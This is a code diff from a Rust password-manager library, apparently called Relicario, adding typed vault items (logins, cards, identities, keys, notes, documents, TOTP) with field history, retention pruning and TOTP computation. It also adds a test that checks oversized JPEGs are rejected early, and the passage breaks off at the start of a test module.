let y = extract_y_channel(jpeg_bytes)?;
if (y.width as u32) < MIN_DIMENSION || (y.height as u32) < MIN_DIMENSION {
return Err(IdfotoError::ExtractionFailed);
return Err(RelicarioError::ExtractionFailed);
}
// Try 1: assume the image is uncropped (original size = current size)
@@ -830,7 +895,7 @@ fn extract_with_crop_recovery(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
}
}
Err(IdfotoError::ExtractionFailed)
Err(RelicarioError::ExtractionFailed)
}
// ─── Tests ───────────────────────────────────────────────────────────────────
@@ -1015,6 +1080,30 @@ mod tests {
assert_eq!(extracted, secret);
}
#[test]
fn rejects_oversized_image_without_full_decode() {
// Synthesize a JPEG header claiming 20000x20000 dimensions.
// The actual pixel data is irrelevant — the dimension peek should bail out
// before decoding any pixels.
let jpeg = build_oversized_jpeg_header(20_000, 20_000);
let result = extract(&jpeg);
assert!(matches!(result, Err(RelicarioError::ImgSecret(ref msg)) if msg.contains("dimension")));
}
fn build_oversized_jpeg_header(width: u16, height: u16) -> Vec<u8> {
// SOI + APP0 JFIF + SOF0 declaring width/height + SOS with minimal data + EOI
let mut v = vec![0xFF, 0xD8]; // SOI
v.extend_from_slice(&[0xFF, 0xE0, 0x00, 0x10]); // APP0
v.extend_from_slice(b"JFIF\0");
v.extend_from_slice(&[0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00]);
v.extend_from_slice(&[0xFF, 0xC0, 0x00, 0x11, 0x08]); // SOF0
v.extend_from_slice(&height.to_be_bytes());
v.extend_from_slice(&width.to_be_bytes());
v.extend_from_slice(&[0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01]);
v.extend_from_slice(&[0xFF, 0xD9]); // EOI
v
}
#[test]
fn embed_extract_survives_10pct_crop() {
let jpeg = make_test_jpeg(400, 300);

View File

@@ -0,0 +1,497 @@
//! Item envelope, sections, and custom fields.
//!
//! `FieldKind` and `FieldValue` are kept as parallel enums (rather than collapsing
//! to a single tagged enum) so the kind can be queried without inspecting the value.
//! Validation invariant: kind and value's discriminants must match — enforced at
//! construction (`Field::new`) and during deserialization (`Field::validate`).
use chrono::NaiveDate;
use serde::{Deserialize, Serialize};
use url::Url;
use zeroize::Zeroizing;
use crate::error::{RelicarioError, Result};
use crate::ids::{AttachmentId, FieldId};
use crate::item_types::TotpConfig;
use crate::time::MonthYear;
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum FieldKind {
Text,
Multiline,
Password,
Concealed,
Url,
Email,
Phone,
Date,
MonthYear,
Totp,
Reference,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(tag = "kind", content = "value", rename_all = "snake_case")]
pub enum FieldValue {
Text(String),
Multiline(String),
Password(Zeroizing<String>),
Concealed(Zeroizing<String>),
Url(Url),
Email(String),
Phone(String),
Date(NaiveDate),
MonthYear(MonthYear),
Totp(TotpConfig),
Reference(AttachmentId),
}
impl FieldValue {
pub fn kind(&self) -> FieldKind {
match self {
FieldValue::Text(_) => FieldKind::Text,
FieldValue::Multiline(_) => FieldKind::Multiline,
FieldValue::Password(_) => FieldKind::Password,
FieldValue::Concealed(_) => FieldKind::Concealed,
FieldValue::Url(_) => FieldKind::Url,
FieldValue::Email(_) => FieldKind::Email,
FieldValue::Phone(_) => FieldKind::Phone,
FieldValue::Date(_) => FieldKind::Date,
FieldValue::MonthYear(_) => FieldKind::MonthYear,
FieldValue::Totp(_) => FieldKind::Totp,
FieldValue::Reference(_) => FieldKind::Reference,
}
}
/// True if this kind triggers field-history capture on update.
pub fn is_history_tracked(&self) -> bool {
matches!(self, FieldValue::Password(_) | FieldValue::Concealed(_) | FieldValue::Totp(_))
}
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Field {
pub id: FieldId,
pub label: String,
pub kind: FieldKind,
pub value: FieldValue,
#[serde(default)]
pub hidden_by_default: bool,
}
impl Field {
/// Construct a field, deriving `kind` from `value`.
pub fn new(label: String, value: FieldValue) -> Self {
let kind = value.kind();
Self {
id: FieldId::new(),
label,
kind,
value,
hidden_by_default: matches!(kind, FieldKind::Password | FieldKind::Concealed),
}
}
/// Verify kind/value discriminants match. Called after deserialization.
pub fn validate(&self) -> Result<()> {
if self.kind != self.value.kind() {
return Err(RelicarioError::Format(format!(
"field {}: kind {:?} does not match value discriminant {:?}",
self.id.as_str(),
self.kind,
self.value.kind()
)));
}
Ok(())
}
}
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
pub struct Section {
#[serde(skip_serializing_if = "Option::is_none")]
pub name: Option<String>,
pub fields: Vec<Field>,
}
use std::collections::HashMap;
use crate::attachment::AttachmentRef;
use crate::ids::ItemId;
use crate::item_types::{ItemCore, ItemType};
use crate::time::now_unix;
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct FieldHistoryEntry {
pub value: Zeroizing<String>,
pub replaced_at: i64,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Item {
pub id: ItemId,
pub title: String,
pub r#type: ItemType,
#[serde(default)]
pub tags: Vec<String>,
#[serde(default)]
pub favorite: bool,
#[serde(skip_serializing_if = "Option::is_none")]
pub group: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub notes: Option<String>,
pub created: i64,
pub modified: i64,
#[serde(skip_serializing_if = "Option::is_none")]
pub trashed_at: Option<i64>,
pub core: ItemCore,
#[serde(default)]
pub sections: Vec<Section>,
#[serde(default)]
pub attachments: Vec<AttachmentRef>,
#[serde(default)]
pub field_history: HashMap<FieldId, Vec<FieldHistoryEntry>>,
}
impl Item {
/// Construct a new Item from a typed core; auto-fills id, type, timestamps.
pub fn new(title: String, core: ItemCore) -> Self {
let now = now_unix();
let r#type = core.item_type();
Self {
id: ItemId::new(),
title,
r#type,
tags: Vec::new(),
favorite: false,
group: None,
notes: None,
created: now,
modified: now,
trashed_at: None,
core,
sections: Vec::new(),
attachments: Vec::new(),
field_history: HashMap::new(),
}
}
/// Replace a custom field's value, capturing the previous value into
/// field_history if the field's kind is history-tracked.
pub fn set_field_value(&mut self, field_id: &FieldId, new_value: FieldValue) -> Result<()> {
for section in &mut self.sections {
if let Some(field) = section.fields.iter_mut().find(|f| &f.id == field_id) {
if field.value.kind() != new_value.kind() {
return Err(RelicarioError::Format(format!(
"field {}: cannot change kind from {:?} to {:?}",
field.id.as_str(), field.value.kind(), new_value.kind()
)));
}
if field.value.is_history_tracked() {
let serialized = serialize_history_value(&field.value)?;
self.field_history
.entry(field.id.clone())
.or_default()
.push(FieldHistoryEntry { value: serialized, replaced_at: now_unix() });
}
field.value = new_value;
self.modified = now_unix();
return Ok(());
}
}
Err(RelicarioError::Format(format!("field {} not found", field_id.as_str())))
}
pub fn soft_delete(&mut self) {
self.trashed_at = Some(now_unix());
self.modified = now_unix();
}
pub fn restore(&mut self) {
self.trashed_at = None;
self.modified = now_unix();
}
pub fn is_trashed(&self) -> bool {
self.trashed_at.is_some()
}
pub fn prune_history(&mut self, retention: &crate::settings::HistoryRetention, now: i64) {
use crate::settings::HistoryRetention;
for history in self.field_history.values_mut() {
match retention {
HistoryRetention::Forever => {}
HistoryRetention::LastN(n) => {
let n = *n as usize;
if history.len() > n {
let drop_count = history.len() - n;
history.drain(..drop_count);
}
}
HistoryRetention::Days(d) => {
let cutoff = now - (*d as i64) * 86_400;
history.retain(|e| e.replaced_at > cutoff);
}
}
}
}
}
/// Serialize a FieldValue to the string form stored in field_history.
fn serialize_history_value(value: &FieldValue) -> Result<Zeroizing<String>> {
let s = match value {
FieldValue::Password(p) => Zeroizing::new(p.as_str().to_owned()),
FieldValue::Concealed(c) => Zeroizing::new(c.as_str().to_owned()),
FieldValue::Totp(cfg) => {
// Store the base32-encoded secret string for human-recognizability.
let s = base32_encode(&cfg.secret);
Zeroizing::new(s)
}
_ => return Err(RelicarioError::Format("not a history-tracked kind".into())),
};
Ok(s)
}
/// Minimal RFC 4648 base32 (no padding) for TOTP secret history serialization.
fn base32_encode(bytes: &[u8]) -> String {
const ALPHA: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
let mut out = String::new();
let mut buffer: u32 = 0;
let mut bits: u32 = 0;
for &b in bytes {
buffer = (buffer << 8) | (b as u32);
bits += 8;
while bits >= 5 {
let idx = ((buffer >> (bits - 5)) & 0x1f) as usize;
out.push(ALPHA[idx] as char);
bits -= 5;
}
}
if bits > 0 {
let idx = ((buffer << (5 - bits)) & 0x1f) as usize;
out.push(ALPHA[idx] as char);
}
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn field_value_kind_matches() {
let v = FieldValue::Text("hello".into());
assert_eq!(v.kind(), FieldKind::Text);
}
#[test]
fn password_field_marked_history_tracked() {
assert!(FieldValue::Password(Zeroizing::new("x".into())).is_history_tracked());
assert!(FieldValue::Concealed(Zeroizing::new("x".into())).is_history_tracked());
assert!(FieldValue::Totp(TotpConfig::default()).is_history_tracked());
assert!(!FieldValue::Text("x".into()).is_history_tracked());
assert!(!FieldValue::Url(Url::parse("https://example.com").unwrap()).is_history_tracked());
}
#[test]
fn field_new_derives_kind_from_value() {
let f = Field::new("Password".into(), FieldValue::Password(Zeroizing::new("x".into())));
assert_eq!(f.kind, FieldKind::Password);
assert!(f.hidden_by_default);
}
#[test]
fn field_new_text_not_hidden() {
let f = Field::new("Username".into(), FieldValue::Text("alice".into()));
assert!(!f.hidden_by_default);
}
#[test]
fn field_validate_catches_kind_value_mismatch() {
let f = Field {
id: FieldId::new(),
label: "x".into(),
kind: FieldKind::Password,
value: FieldValue::Text("not actually a password".into()),
hidden_by_default: false,
};
assert!(f.validate().is_err());
}
#[test]
fn field_round_trips() {
let f = Field::new("Recovery code".into(), FieldValue::Concealed(Zeroizing::new("abcd-efgh".into())));
let json = serde_json::to_string(&f).unwrap();
let parsed: Field = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.label, "Recovery code");
assert_eq!(parsed.kind, FieldKind::Concealed);
parsed.validate().unwrap();
}
#[test]
fn section_round_trip() {
let s = Section {
name: Some("Recovery codes".into()),
fields: vec![
Field::new("code1".into(), FieldValue::Concealed(Zeroizing::new("abc".into()))),
Field::new("code2".into(), FieldValue::Concealed(Zeroizing::new("def".into()))),
],
};
let json = serde_json::to_string(&s).unwrap();
let parsed: Section = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.name.as_deref(), Some("Recovery codes"));
assert_eq!(parsed.fields.len(), 2);
}
#[test]
fn new_item_has_timestamps_and_id() {
let core = ItemCore::SecureNote(crate::item_types::SecureNoteCore::default());
let item = Item::new("note".into(), core);
assert_eq!(item.id.0.len(), 16);
assert_eq!(item.r#type, ItemType::SecureNote);
assert!(item.created > 0);
assert_eq!(item.created, item.modified);
assert!(item.field_history.is_empty());
}
#[test]
fn soft_delete_and_restore_round_trip() {
let core = ItemCore::Login(crate::item_types::LoginCore::default());
let mut item = Item::new("login".into(), core);
assert!(!item.is_trashed());
item.soft_delete();
assert!(item.is_trashed());
item.restore();
assert!(!item.is_trashed());
}
#[test]
fn set_field_value_captures_history_for_password() {
let core = ItemCore::Login(crate::item_types::LoginCore::default());
let mut item = Item::new("login".into(), core);
let pw_field = Field::new("Password".into(), FieldValue::Password(Zeroizing::new("old".into())));
let pw_id = pw_field.id.clone();
item.sections.push(Section { name: None, fields: vec![pw_field] });
item.set_field_value(&pw_id, FieldValue::Password(Zeroizing::new("new".into()))).unwrap();
let hist = item.field_history.get(&pw_id).expect("history should exist");
assert_eq!(hist.len(), 1);
assert_eq!(hist[0].value.as_str(), "old");
}
#[test]
fn set_field_value_does_not_capture_history_for_text() {
let core = ItemCore::Login(crate::item_types::LoginCore::default());
let mut item = Item::new("login".into(), core);
let f = Field::new("nickname".into(), FieldValue::Text("a".into()));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
item.set_field_value(&fid, FieldValue::Text("b".into())).unwrap();
assert!(item.field_history.get(&fid).is_none_or(|v| v.is_empty()));
}
#[test]
fn set_field_value_rejects_kind_change() {
let core = ItemCore::Login(crate::item_types::LoginCore::default());
let mut item = Item::new("login".into(), core);
let f = Field::new("x".into(), FieldValue::Text("a".into()));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
let err = item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("p".into())));
assert!(err.is_err());
}
#[test]
fn item_serializes_with_minimal_optional_fields() {
let core = ItemCore::SecureNote(crate::item_types::SecureNoteCore::default());
let item = Item::new("note".into(), core);
let json = serde_json::to_string(&item).unwrap();
// No "trashed_at" or "group" or "notes" should appear when None
assert!(!json.contains("trashed_at"));
assert!(!json.contains("\"group\""));
}
#[test]
fn full_item_round_trip() {
let core = ItemCore::Login(crate::item_types::LoginCore {
username: Some("alice".into()),
password: Some(Zeroizing::new("hunter2".into())),
url: Some(Url::parse("https://github.com").unwrap()),
totp: None,
});
let mut item = Item::new("GitHub".into(), core);
item.tags = vec!["work".into()];
item.favorite = true;
item.notes = Some("notes".into());
let json = serde_json::to_string(&item).unwrap();
let parsed: Item = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.title, "GitHub");
assert_eq!(parsed.tags, vec!["work".to_string()]);
assert!(parsed.favorite);
match parsed.core {
ItemCore::Login(l) => {
assert_eq!(l.username.as_deref(), Some("alice"));
}
other => panic!("expected Login, got {:?}", other),
}
}
#[test]
fn prune_history_keeps_last_n() {
use crate::settings::HistoryRetention;
let core = ItemCore::Login(crate::item_types::LoginCore::default());
let mut item = Item::new("x".into(), core);
let f = Field::new("p".into(), FieldValue::Password(Zeroizing::new("v0".into())));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
for i in 1..=5 {
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new(format!("v{i}")))).unwrap();
}
assert_eq!(item.field_history[&fid].len(), 5);
item.prune_history(&HistoryRetention::LastN(3), 0);
assert_eq!(item.field_history[&fid].len(), 3);
// Keeps the MOST RECENT 3
assert_eq!(item.field_history[&fid][0].value.as_str(), "v2");
}
#[test]
fn prune_history_drops_old_entries_by_days() {
use crate::settings::HistoryRetention;
let core = ItemCore::Login(crate::item_types::LoginCore::default());
let mut item = Item::new("x".into(), core);
let f = Field::new("p".into(), FieldValue::Password(Zeroizing::new("v0".into())));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
let now = 1_000_000_000;
item.field_history.insert(fid.clone(), vec![
FieldHistoryEntry { value: Zeroizing::new("old".into()), replaced_at: now - 100 * 86_400 },
FieldHistoryEntry { value: Zeroizing::new("recent".into()), replaced_at: now - 86_400 },
]);
item.prune_history(&HistoryRetention::Days(30), now);
assert_eq!(item.field_history[&fid].len(), 1);
assert_eq!(item.field_history[&fid][0].value.as_str(), "recent");
}
#[test]
fn prune_history_forever_keeps_all() {
use crate::settings::HistoryRetention;
let core = ItemCore::Login(crate::item_types::LoginCore::default());
let mut item = Item::new("x".into(), core);
item.field_history.insert(FieldId::new(), vec![
FieldHistoryEntry { value: Zeroizing::new("a".into()), replaced_at: 0 },
FieldHistoryEntry { value: Zeroizing::new("b".into()), replaced_at: 0 },
]);
item.prune_history(&HistoryRetention::Forever, 1_000_000_000);
assert_eq!(item.field_history.values().next().unwrap().len(), 2);
}
}

View File

@@ -0,0 +1,68 @@
//! Card: number, holder, expiry (MonthYear), CVV, PIN, kind.
use serde::{Deserialize, Serialize};
use zeroize::Zeroizing;
use crate::time::MonthYear;
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
pub struct CardCore {
#[serde(skip_serializing_if = "Option::is_none")]
pub number: Option<Zeroizing<String>>,
#[serde(skip_serializing_if = "Option::is_none")]
pub holder: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub expiry: Option<MonthYear>,
#[serde(skip_serializing_if = "Option::is_none")]
pub cvv: Option<Zeroizing<String>>,
#[serde(skip_serializing_if = "Option::is_none")]
pub pin: Option<Zeroizing<String>>,
#[serde(default)]
pub kind: CardKind,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
#[serde(rename_all = "snake_case")]
pub enum CardKind {
#[default]
Credit,
Debit,
Gift,
Loyalty,
Other,
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn card_full_round_trip() {
let card = CardCore {
number: Some(Zeroizing::new("4111111111111111".into())),
holder: Some("Alice Doe".into()),
expiry: Some(MonthYear::new(12, 2030).unwrap()),
cvv: Some(Zeroizing::new("123".into())),
pin: Some(Zeroizing::new("0000".into())),
kind: CardKind::Credit,
};
let json = serde_json::to_string(&card).unwrap();
let parsed: CardCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.holder.as_deref(), Some("Alice Doe"));
assert_eq!(parsed.kind, CardKind::Credit);
assert_eq!(parsed.expiry, Some(MonthYear::new(12, 2030).unwrap()));
}
#[test]
fn card_kind_default_is_credit() {
let json = "{}";
let card: CardCore = serde_json::from_str(json).unwrap();
assert_eq!(card.kind, CardKind::Credit);
}
#[test]
fn card_kind_serializes_snake_case() {
let json = serde_json::to_string(&CardKind::Loyalty).unwrap();
assert_eq!(json, "\"loyalty\"");
}
}

View File

@@ -0,0 +1,40 @@
//! Document: filename + mime + pointer to the primary attachment blob.
use serde::{Deserialize, Serialize};
use crate::ids::AttachmentId;
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct DocumentCore {
pub filename: String,
pub mime_type: String,
pub primary_attachment: AttachmentId,
}
impl Default for DocumentCore {
fn default() -> Self {
Self {
filename: String::new(),
mime_type: "application/octet-stream".into(),
primary_attachment: AttachmentId(String::new()),
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn document_round_trip() {
let doc = DocumentCore {
filename: "passport.pdf".into(),
mime_type: "application/pdf".into(),
primary_attachment: AttachmentId("0123456789abcdef".into()),
};
let json = serde_json::to_string(&doc).unwrap();
let parsed: DocumentCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.filename, "passport.pdf");
assert_eq!(parsed.primary_attachment.as_str(), "0123456789abcdef");
}
}

View File

@@ -0,0 +1,45 @@
//! Identity: name, address, phone, email, date-of-birth.
use chrono::NaiveDate;
use serde::{Deserialize, Serialize};
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
pub struct IdentityCore {
#[serde(skip_serializing_if = "Option::is_none")]
pub full_name: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub address: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub phone: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub email: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub date_of_birth: Option<NaiveDate>,
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn identity_full_round_trip() {
let id = IdentityCore {
full_name: Some("Alice Doe".into()),
address: Some("123 Main St\nAnytown".into()),
phone: Some("+1-555-0100".into()),
email: Some("alice@example.com".into()),
date_of_birth: NaiveDate::from_ymd_opt(1990, 4, 18),
};
let json = serde_json::to_string(&id).unwrap();
let parsed: IdentityCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.full_name.as_deref(), Some("Alice Doe"));
assert_eq!(parsed.date_of_birth, NaiveDate::from_ymd_opt(1990, 4, 18));
}
#[test]
fn empty_identity_omits_all_fields() {
let id = IdentityCore::default();
let json = serde_json::to_string(&id).unwrap();
assert_eq!(json, "{}");
}
}

View File

@@ -0,0 +1,42 @@
//! Key: arbitrary key material (Zeroizing), label, public key, algorithm.
use serde::{Deserialize, Serialize};
use zeroize::Zeroizing;
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
pub struct KeyCore {
pub key_material: Zeroizing<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub label: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub public_key: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub algorithm: Option<String>,
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn key_round_trip() {
let k = KeyCore {
key_material: Zeroizing::new("-----BEGIN OPENSSH PRIVATE KEY-----\n...".into()),
label: Some("yubikey-backup".into()),
public_key: Some("ssh-ed25519 AAAAC3...".into()),
algorithm: Some("ed25519".into()),
};
let json = serde_json::to_string(&k).unwrap();
let parsed: KeyCore = serde_json::from_str(&json).unwrap();
assert!(parsed.key_material.starts_with("-----BEGIN"));
assert_eq!(parsed.algorithm.as_deref(), Some("ed25519"));
}
#[test]
fn empty_key_material_round_trips() {
let k = KeyCore::default();
let json = serde_json::to_string(&k).unwrap();
let parsed: KeyCore = serde_json::from_str(&json).unwrap();
assert!(parsed.key_material.is_empty());
}
}

View File

@@ -0,0 +1,63 @@
//! Login item core: username, password (Zeroizing), URL, optional TOTP.
use serde::{Deserialize, Serialize};
use url::Url;
use zeroize::Zeroizing;
use crate::item_types::TotpConfig;
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
pub struct LoginCore {
#[serde(skip_serializing_if = "Option::is_none")]
pub username: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub password: Option<Zeroizing<String>>,
#[serde(skip_serializing_if = "Option::is_none")]
pub url: Option<Url>,
#[serde(skip_serializing_if = "Option::is_none")]
pub totp: Option<TotpConfig>,
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn empty_login_round_trips() {
let login = LoginCore::default();
let json = serde_json::to_string(&login).unwrap();
let parsed: LoginCore = serde_json::from_str(&json).unwrap();
assert!(parsed.username.is_none());
assert!(parsed.password.is_none());
}
#[test]
fn full_login_round_trips() {
let login = LoginCore {
username: Some("alice".into()),
password: Some(Zeroizing::new("hunter2".into())),
url: Some(Url::parse("https://github.com/login").unwrap()),
totp: None,
};
let json = serde_json::to_string(&login).unwrap();
let parsed: LoginCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.username.as_deref(), Some("alice"));
assert_eq!(parsed.password.as_deref().map(String::as_str), Some("hunter2"));
assert_eq!(parsed.url.as_ref().map(Url::as_str), Some("https://github.com/login"));
}
#[test]
fn omitted_fields_dont_appear_in_json() {
let login = LoginCore {
username: Some("alice".into()),
password: None,
url: None,
totp: None,
};
let json = serde_json::to_string(&login).unwrap();
assert!(!json.contains("password"));
assert!(!json.contains("url"));
assert!(!json.contains("totp"));
assert!(json.contains("alice"));
}
}

View File

@@ -0,0 +1,127 @@
//! Per-type "core" structs for typed items.
//!
//! Each variant lives in its own submodule. The `ItemCore` enum + match
//! exhaustiveness is the extension mechanism — adding a new variant later
//! means: create the submodule, add the enum variant, fix the match arms
//! the compiler points at, register the popup form (Plan 1C).
use serde::{Deserialize, Serialize};
pub mod login;
pub mod secure_note;
pub mod identity;
pub mod card;
pub mod key;
pub mod document;
pub mod totp;
pub use login::LoginCore;
pub use secure_note::SecureNoteCore;
pub use identity::IdentityCore;
pub use card::{CardCore, CardKind};
pub use key::KeyCore;
pub use document::DocumentCore;
pub use totp::{TotpCore, TotpConfig, TotpAlgorithm, TotpKind, compute_totp_code};
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum ItemType {
Login,
SecureNote,
Identity,
Card,
Key,
Document,
Totp,
}
// INVARIANT: no *Core struct may have a field serialized as "type" —
// that key is reserved for serde's internal tag. Use "kind" for
// type-discriminant fields within core structs (CardKind, TotpKind).
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(tag = "type", rename_all = "snake_case")]
pub enum ItemCore {
Login(LoginCore),
SecureNote(SecureNoteCore),
Identity(IdentityCore),
Card(CardCore),
Key(KeyCore),
Document(DocumentCore),
Totp(TotpCore),
}
impl ItemCore {
pub fn item_type(&self) -> ItemType {
match self {
ItemCore::Login(_) => ItemType::Login,
ItemCore::SecureNote(_) => ItemType::SecureNote,
ItemCore::Identity(_) => ItemType::Identity,
ItemCore::Card(_) => ItemType::Card,
ItemCore::Key(_) => ItemType::Key,
ItemCore::Document(_) => ItemType::Document,
ItemCore::Totp(_) => ItemType::Totp,
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn item_type_serializes_snake_case() {
let json = serde_json::to_string(&ItemType::SecureNote).unwrap();
assert_eq!(json, "\"secure_note\"");
}
#[test]
fn item_core_login_round_trip_via_tag() {
use zeroize::Zeroizing;
let core = ItemCore::Login(LoginCore {
username: Some("alice".into()),
password: Some(Zeroizing::new("hunter2".into())),
url: None,
totp: None,
});
let json = serde_json::to_string(&core).unwrap();
// Tag-based: outer object has "type": "login"
assert!(json.contains("\"type\":\"login\""));
let parsed: ItemCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.item_type(), ItemType::Login);
}
#[test]
fn item_core_secure_note_round_trip_via_tag() {
use zeroize::Zeroizing;
let core = ItemCore::SecureNote(SecureNoteCore { body: Zeroizing::new("hello".into()) });
let json = serde_json::to_string(&core).unwrap();
assert!(json.contains("\"type\":\"secure_note\""));
let parsed: ItemCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.item_type(), ItemType::SecureNote);
}
#[test]
fn item_core_round_trips_for_all_seven_types() {
use crate::ids::AttachmentId;
let cores = vec![
ItemCore::Login(LoginCore::default()),
ItemCore::SecureNote(SecureNoteCore::default()),
ItemCore::Identity(IdentityCore::default()),
ItemCore::Card(CardCore::default()),
ItemCore::Key(KeyCore::default()),
ItemCore::Document(DocumentCore {
filename: "x".into(),
mime_type: "text/plain".into(),
primary_attachment: AttachmentId("0123456789abcdef".into()),
}),
ItemCore::Totp(TotpCore::default()),
];
for core in cores {
let expected_type = core.item_type();
let json = serde_json::to_string(&core).unwrap();
let parsed: ItemCore = serde_json::from_str(&json).expect("round-trip failed");
assert_eq!(parsed.item_type(), expected_type);
}
}
}

View File

@@ -0,0 +1,30 @@
//! Secure note: just a multiline body, Zeroizing.
use serde::{Deserialize, Serialize};
use zeroize::Zeroizing;
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
pub struct SecureNoteCore {
pub body: Zeroizing<String>,
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn secure_note_round_trips() {
let note = SecureNoteCore { body: Zeroizing::new("a multi\nline note".into()) };
let json = serde_json::to_string(&note).unwrap();
let parsed: SecureNoteCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.body.as_str(), "a multi\nline note");
}
#[test]
fn empty_body_round_trips() {
let note = SecureNoteCore::default();
let json = serde_json::to_string(&note).unwrap();
let parsed: SecureNoteCore = serde_json::from_str(&json).unwrap();
assert!(parsed.body.is_empty());
}
}

View File

@@ -0,0 +1,170 @@
//! TOTP: standalone 2FA item type. Also reused as TotpConfig field on Login.
use hmac::{Hmac, Mac};
use sha1::Sha1 as HmacSha1;
use sha2::{Sha256 as HmacSha256, Sha512 as HmacSha512};
use serde::{Deserialize, Serialize};
use zeroize::Zeroizing;
use crate::error::{RelicarioError, Result};
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
pub struct TotpCore {
pub config: TotpConfig,
#[serde(skip_serializing_if = "Option::is_none")]
pub issuer: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub label: Option<String>,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct TotpConfig {
/// Raw bytes of the TOTP secret (decoded from base32 when imported).
pub secret: Zeroizing<Vec<u8>>,
pub algorithm: TotpAlgorithm,
pub digits: u8,
pub period_seconds: u32,
pub kind: TotpKind,
}
impl Default for TotpConfig {
fn default() -> Self {
Self {
secret: Zeroizing::new(Vec::new()),
algorithm: TotpAlgorithm::Sha1,
digits: 6,
period_seconds: 30,
kind: TotpKind::Totp,
}
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
#[serde(rename_all = "snake_case")]
pub enum TotpAlgorithm {
#[default]
Sha1,
Sha256,
Sha512,
}
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
#[serde(rename_all = "snake_case")]
pub enum TotpKind {
Totp,
Hotp { counter: u64 },
Steam,
}
impl Default for TotpKind {
fn default() -> Self { TotpKind::Totp }
}
/// Compute a TOTP/HOTP/Steam code for `config` at the given Unix timestamp.
///
/// For TOTP and Steam: counter = `now_unix_seconds / period_seconds`.
/// For HOTP: uses the `counter` carried in the variant.
pub fn compute_totp_code(config: &TotpConfig, now_unix_seconds: u64) -> Result<String> {
let counter = match config.kind {
TotpKind::Totp => now_unix_seconds / config.period_seconds as u64,
TotpKind::Hotp { counter } => counter,
TotpKind::Steam => now_unix_seconds / config.period_seconds as u64,
};
let counter_bytes = counter.to_be_bytes();
let hmac_out: Vec<u8> = match config.algorithm {
TotpAlgorithm::Sha1 => {
let mut mac = Hmac::<HmacSha1>::new_from_slice(&config.secret)
.map_err(|e| RelicarioError::Format(format!("hmac: {e}")))?;
mac.update(&counter_bytes);
mac.finalize().into_bytes().to_vec()
}
TotpAlgorithm::Sha256 => {
let mut mac = Hmac::<HmacSha256>::new_from_slice(&config.secret)
.map_err(|e| RelicarioError::Format(format!("hmac: {e}")))?;
mac.update(&counter_bytes);
mac.finalize().into_bytes().to_vec()
}
TotpAlgorithm::Sha512 => {
let mut mac = Hmac::<HmacSha512>::new_from_slice(&config.secret)
.map_err(|e| RelicarioError::Format(format!("hmac: {e}")))?;
mac.update(&counter_bytes);
mac.finalize().into_bytes().to_vec()
}
};
let offset = (hmac_out[hmac_out.len() - 1] & 0x0F) as usize;
let truncated = ((hmac_out[offset] as u32 & 0x7F) << 24)
| ((hmac_out[offset + 1] as u32) << 16)
| ((hmac_out[offset + 2] as u32) << 8)
| (hmac_out[offset + 3] as u32);
let modulus = 10u32.pow(config.digits as u32);
Ok(format!("{:0width$}", truncated % modulus, width = config.digits as usize))
}
#[cfg(test)]
mod compute_tests {
use super::*;
#[test]
